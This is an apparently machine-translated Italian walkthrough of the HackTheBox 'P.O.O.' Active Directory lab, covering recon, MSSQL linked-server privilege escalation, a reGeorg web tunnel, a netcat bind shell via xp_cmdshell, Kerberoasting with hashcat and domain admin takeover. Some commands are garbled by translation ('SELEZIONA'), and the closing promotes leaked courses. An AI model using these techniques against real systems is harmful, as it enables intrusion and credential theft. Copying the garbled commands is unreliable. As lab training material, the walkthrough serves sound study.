HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

In questo articolo discuteremo il passaggio non solo di una macchina, ma di un'intera mini-laboratorio dalla piattaforma HackTheBox.

Come descritto nella descrizione, P.O.O. è destinato a testare le competenze in tutte le fasi degli attacchi in un piccolo ambiente Active Directory. L'obiettivo è compromettere l'host accessibile, elevare i privilegi e, infine, compromettere l'intero dominio, raccogliendo nel contempo 5 bandiere.

La connessione al laboratorio avviene tramite VPN. Si raccomanda di non connettersi da un computer di lavoro o da un host dove sono presenti dati importanti per te, poiché entrerai in una rete privata con persone che sanno cosa fare nel campo della sicurezza informatica 🙂

Informazioni organizzative
Affinché possiate rimanere aggiornati su nuovi articoli, software e altre informazioni, ho creato un canale su Telegram e un gruppo per discutere qualsiasi domanda nel campo della sicurezza informatica. Inoltre, le vostre richieste personali, domande, proposte e raccomandazioni le esaminerò personalmente e risponderò a tutti.

Tutte le informazioni sono presentate esclusivamente a scopi educativi. L'autore di questo documento non si assume alcuna responsabilità per eventuali danni causati a chiunque in seguito all'uso delle conoscenze e dei metodi acquisiti tramite questo documento.

Intro

Questo endgame è composto da due macchine e contiene 5 bandiere.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Viene inoltre fornita una descrizione e un indirizzo dell'host accessibile.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Iniziamo!

Recon flag

Questa macchina ha come indirizzo IP 10.13.38.11, che aggiungo in /etc/hosts.
10.13.38.11 poo.htb

Per prima cosa, scansioniamo le porte aperte. Poiché scansionare tutte le porte con nmap è lento, lo farò inizialmente usando masscan. Scansioniamo tutte le porte TCP e UDP dall'interfaccia tun0 a una velocità di 500 pacchetti al secondo.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Ora, per ottenere informazioni più dettagliate sui servizi attivi sulle porte, avviamo una scansione con l'opzione -A.

nmap -A poo.htb -p80,1433

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Così abbiamo i servizi IIS e MSSQL. Scopriamo anche il vero nome DNS del dominio e del computer. Sul server web ci accoglie la homepage di IIS.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Passiamo in rassegna le directory. Per questo utilizzo gobuster. Nelle opzioni indichiamo il numero di thread 128 (-t), URL (-u), dizionario (-w) e le estensioni di interesse (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Abbiamo quindi l'autenticazione HTTP per la directory /admin, oltre a un file di archiviazione della desktop service disponibile .DS_Store. .DS_Store sono file in cui vengono memorizzate le impostazioni utente per la cartella, come l'elenco dei file, la posizione delle icone, l'immagine di sfondo selezionata. Un file di questo tipo può trovarsi nella directory del server web per gli sviluppatori web. Così otteniamo informazioni sul contenuto della directory. Per questo possiamo usare DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Stiamo ottenendo il contenuto del catalogo. La cosa più interessante qui è il catalogo /dev, dove possiamo dare un'occhiata ai sorgenti e ai file db in due rami. Ma possiamo rilevare i primi 6 caratteri dei nomi dei file e delle directory, se il servizio è vulnerabile a IIS ShortName. Possiamo verificare la presenza di questa vulnerabilità usando IIS shortname Scanner.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

E troviamo un file di testo che inizia con «poo_co». Non sapendo cosa fare dopo, ho semplicemente estratto dal dizionario delle directory tutte le parole che iniziano con «co».

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

E eseguiamo un ciclo utilizzando wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

E troviamo la parola giusta! Controlliamo questo file, salvando le credenziali (a giudicare dal parametro DBNAME, provengono da MSSQL).

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Consegniamo la flag e avanziamo del 20%.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Huh flag

Ci connettiamo a MSSQL, uso DBeaver.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Non troviamo nulla di interessante in questo database, creiamo un editor SQL e verifichiamo quali utenti ci sono.

SELECT name FROM master..syslogins;

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Abbiamo due utenti. Andiamo a controllare i propri privilegi.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Quindi, non abbiamo alcun privilegio. Diamo un'occhiata ai server collegati, ho scritto dettagliatamente su questo metodo. qui.

SELECT * FROM master..sysservers;

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Così troviamo un altro SQL Server. Controlliamo l'esecuzione dei comandi su questo server utilizzando openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

E possiamo anche costruire un albero di query.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Il fatto è che quando eseguiamo una query su un server collegato, la query viene eseguita nel contesto di un altro utente! Diamo un'occhiata a quale utente stiamo lavorando sul server collegato.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

E ora vediamo in quale contesto vengono eseguite le query dal server collegato al nostro!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Quindi, questo è il contesto DBO, che dovrebbe avere tutti i privilegi. Controlliamo i privilegi nel caso di una query dal server collegato.

SELEZIONA * DA openquery("COMPATIBILITYPOO_CONFIG", 'SELEZIONA * DA openquery("COMPATIBILITYPOO_PUBLIC", ''SELEZIONA is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Come puoi notare, abbiamo tutti i privilegi! Creiamo il nostro admin. Ma non si può fare tramite openquery, quindi facciamolo tramite EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

E ora ci connettiamo con le credenziali del nuovo utente, osservando il nuovo database flag.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Accettiamo questo flag e andiamo oltre.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

BackTrack flag

Ottenere una shell tramite MSSQL, utilizzo mssqlclient dal pacchetto impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Dobbiamo ottenere le password, e la prima cosa che abbiamo già incontrato è il sito. Quindi abbiamo bisogno della configurazione del server web (sembra che il firewall impedisca di lanciare una shell conveniente).

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Ma l'accesso è negato. Anche se possiamo leggere un file da MSSQL, serve solo sapere quali linguaggi di programmazione sono configurati. E nella directory MSSQL scopriamo che c'è Python.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Allora leggere il file web.config non crea problemi.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Con le credenziali trovate accederemo a /admin e prenderemo il flag.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Foothold flag

In realtà ci sono alcuni inconvenienti nell'uso del firewall, ma esaminando le impostazioni di rete, notiamo che è utilizzato anche un tunnel IPv6!

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Aggiungiamo questo indirizzo in /etc/hosts.
dead:babe::1001 poo6.htb
Facciamo di nuovo una scansione dell'host, ma tramite il protocollo IPv6.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

E tramite IPv6 è disponibile il servizio WinRM. Ci connettiamo con le credenziali trovate.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Sulla scrivania c'è un flag, lo accettiamo.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

P00ned flag

Dopo aver effettuato un'analisi sull'host utilizzando winpeas non troviamo nulla di particolare. Quindi si è deciso di cercare nuovamente le credenziali (su questo argomento ho scritto anche io articolo). Ma non sono riuscito a ottenere tutti gli SPN dal sistema tramite WinRM.

setspn.exe -T intranet.poo -Q *
*

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Eseguiamo il comando tramite MSSQL.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

In questo modo otteniamo SPN per gli utenti p00_hr e p00_adm, il che significa che sono vulnerabili a un attacco come il Kerberoasting. In breve, possiamo ottenere gli hash delle loro password.

Per iniziare, dobbiamo ottenere una shell stabile con l'utente MSSQL. Ma poiché abbiamo limitazioni di accesso, abbiamo connessione al host solo tramite le porte 80 e 1433. Ma c'è la possibilità di tunnelare il traffico attraverso la porta 80! Per questo utilizzeremo l'applicazione seguente. Carichiamo il file tunnel.aspx nella directory home del server web — C:inetpubwwwroot.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Ma quando proviamo ad accedervi otteniamo un errore 404. Questo significa che i file *.aspx non vengono eseguiti. Per rendere eseguibili i file con questa estensione, installeremo ASP.NET 4.5 come segue.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

E ora, quando accediamo a tunnel.aspx, otteniamo risposta che è tutto pronto per lavorare.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Avviamo la parte client dell'applicazione, che si occuperà della ritrasmissione del traffico. Invieremo tutto il traffico dalla porta 5432 al server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

E utilizziamo proxychains per inviare il traffico di qualsiasi applicazione tramite il nostro proxy. Aggiungiamo questo proxy nel file di configurazione /etc/proxychains.conf.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Ora carichiamo sul server il programma netcat, con cui creeremo una shell bind stabile, e lo script Invoke-Kerberoast, con il quale eseguiremo l'attacco di Kerberoasting.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Ora avviamo il listener tramite MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

E ci connettiamo tramite il nostro proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

E ora otteniamo gli hash.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Dobbiamo ora esaminare questi hash. Poiché nella lista rockyou non c'erano queste password, ho usato TUTTE le liste di password fornite in Seclists. Useremo hashcat per il cracking.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

E troviamo entrambe le password, la prima nella lista dutch_passwordlist.txt e la seconda in Keyboard-Combinations.txt.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

E così abbiamo tre utenti, andiamo al controller di dominio. Iniziamo scoprendo il suo indirizzo.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Ottimo, abbiamo scoperto l'indirizzo IP del controller del dominio. Scopriamo tutti gli utenti del dominio e chi di essi è l'amministratore. Carichiamo lo script PowerView.ps1 per ottenere informazioni. Poi ci connetteremo usando evil-winrm, specificando nella parametro -s la directory contenente lo script. Infine, caricheremo semplicemente lo script PowerView.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Ora abbiamo accesso a tutte le sue funzioni. L'utente p00_adm sembra avere privilegi, quindi lavoreremo nel suo contesto. Creiamo un oggetto PSCredential per questo utente.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Ora tutti i comandi Powershell in cui specificheremo Creds verranno eseguiti a nome di p00_adm. Diamo un'occhiata all'elenco degli utenti e all'attributo AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Quindi, il nostro utente è effettivamente privilegiato. Diamo un'occhiata ai gruppi di cui fa parte.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Confermiamo definitivamente che l'utente è un amministratore di dominio. Questo gli dà il diritto di accesso remoto al controller di dominio. Proviamo a connetterci tramite WinRM, usando il nostro tunnel. Sono state segnalate delle errori da reGeorg durante l'uso di evil-winrm.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Allora usiamo un altro, più semplice, uno script per connetterci a WinRM. Apriamo e cambiamo le impostazioni di connessione.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Proviamo a connetterci ed eccoci nel sistema.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Ma non ci sono bandiere. Allora controlliamo l'utente e verifichiamo i desktop.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Troviamo la bandiera da mr3ks e il laboratorio è completato al 100%.

HackTheBox endgame. Passaggio del laboratorio Professional Offensive Operations. PenTest Active Directory

Ecco fatto. Come feedback, commentate — avete imparato qualcosa di nuovo da questo articolo e vi è stato utile?

Potete unirvi a noi in Telegram. Lì troverete materiali interessanti, corsi leakati e software. Costruiamo una comunità in cui ci siano persone esperte in vari settori IT, così possiamo sempre aiutarci a vicenda con qualsiasi questione IT e di sicurezza.

Fonte: habr.com

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster